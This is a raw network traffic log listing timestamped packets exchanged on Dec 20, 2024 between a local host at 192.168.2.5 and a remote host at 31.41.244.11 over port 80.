Dec 20, 2024 13:12:23.615567923 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.615613937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.616475105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.616777897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.616831064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.617547989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.617594004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.618045092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.618088007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.618560076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.618602991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.619060040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.619098902 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.619741917 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.619786978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.620034933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.620794058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.620837927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.621372938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.621416092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.621742010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.621784925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.622131109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.622172117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.622898102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.622914076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.622941971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.622957945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.624250889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.624263048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.624304056 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.625015974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.625057936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.626168013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.626178980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.626209974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.626223087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.626245975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.626245975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.626971006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.627021074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.627721071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.627763987 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.628325939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.628336906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.628377914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.629136086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.629189014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.629534006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.629582882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.630095005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.630141973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.630697012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.630739927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.631196976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.631238937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.631262064 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.631302118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.632211924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.632339001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.632392883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.633253098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.633316040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.633373022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.633420944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.634301901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.634355068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.634386063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.634433985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.635437012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.635495901 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.635863066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.635910988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.636369944 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.637465000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.637482882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.637501001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.637516022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.637543917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.638529062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.638576031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.638791084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.638839006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.639533043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.639576912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.639684916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.639733076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.640845060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.640896082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.641731977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.641741991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.641752005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.641784906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.641814947 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.642666101 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.642714024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.643731117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.643740892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.643783092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.643784046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.643830061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.644886971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.644937038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.645353079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.645399094 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.645936966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.645982027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.646123886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.646168947 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.646879911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.646924973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.647955894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.647967100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.648000002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.648003101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.648123980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.648957014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.649007082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.649349928 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.649399042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.650055885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.650067091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.650106907 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.651057005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.651103973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.651247025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.651293039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.652160883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.652206898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.652240992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.652290106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.653163910 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.653209925 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.653610945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.653672934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.654222965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.654272079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.791446924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.791503906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.791553020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.791613102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.791903019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.791966915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.792010069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.792052031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.792732000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.792782068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.792968035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.793015003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.793817997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.793865919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.793939114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.793989897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.794817924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.794867039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.795027971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.795079947 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.795846939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.795892954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.796014071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.796057940 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.796972036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.797023058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.797086954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.797199965 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.797971010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.798093081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.798326969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.798422098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.799000978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.799094915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.799333096 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.799422026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.800041914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.800085068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.800283909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.800328016 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.801187992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.801239967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.801305056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.801358938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.802134991 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.802189112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.802218914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.802262068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.803191900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.803236961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.803838968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.803886890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.804318905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.804402113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.804589987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.804645061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.805289030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.805352926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.805425882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.805474043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.806343079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.806421995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.806704998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.806761026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.807382107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.807440042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.807859898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.807918072 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.808473110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.808495998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.808512926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.808536053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.809495926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.809541941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.809712887 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.809752941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.810525894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.810548067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.810587883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.811568022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.811619997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.811621904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.811661959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.812664986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.812731981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.812763929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.812815905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.813671112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.813719988 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.813941956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.814001083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.814729929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.814770937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.814780951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.814814091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.815784931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.815838099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.815912962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.815973043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.816967010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.816979885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.817023039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.817955017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.817998886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.818207979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.818365097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.819048882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.819096088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.819221020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.819262981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.820154905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.820255995 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.820297956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.820357084 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.821130037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.821192026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.821206093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.821234941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.822196960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.822266102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.822693110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.822747946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.823272943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.823560953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.823756933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.823815107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.824258089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.824269056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.824301004 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.825453997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.825511932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.825520039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.825570107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.826298952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.826349020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.826611042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.826657057 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.827286005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.827327967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.827706099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.827752113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.828365088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.829463959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.829477072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.829524040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.829549074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.829593897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.830702066 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.830833912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.831640005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.831651926 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.831700087 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.831794024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.831849098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.832901955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.832914114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.832947016 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.834153891 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.834204912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.834562063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.834608078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.835107088 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.835150957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.835275888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.835402966 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.836009026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.836049080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.836174965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.836220026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.837344885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.837404013 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.837440968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.837507010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.838258982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.838339090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.838490009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.838553905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.839164972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.839215994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.839246035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.839318991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.839988947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.840049982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.840082884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.840128899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.840960979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.841006041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.841245890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.841300011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.842046976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.842092037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.842459917 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.842504025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.843082905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.843094110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.843137980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.844980955 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.845074892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.845243931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.845254898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.845271111 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:23.845294952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:23.845339060 CET	49859	80	192.168.2.5	31.41.244.11
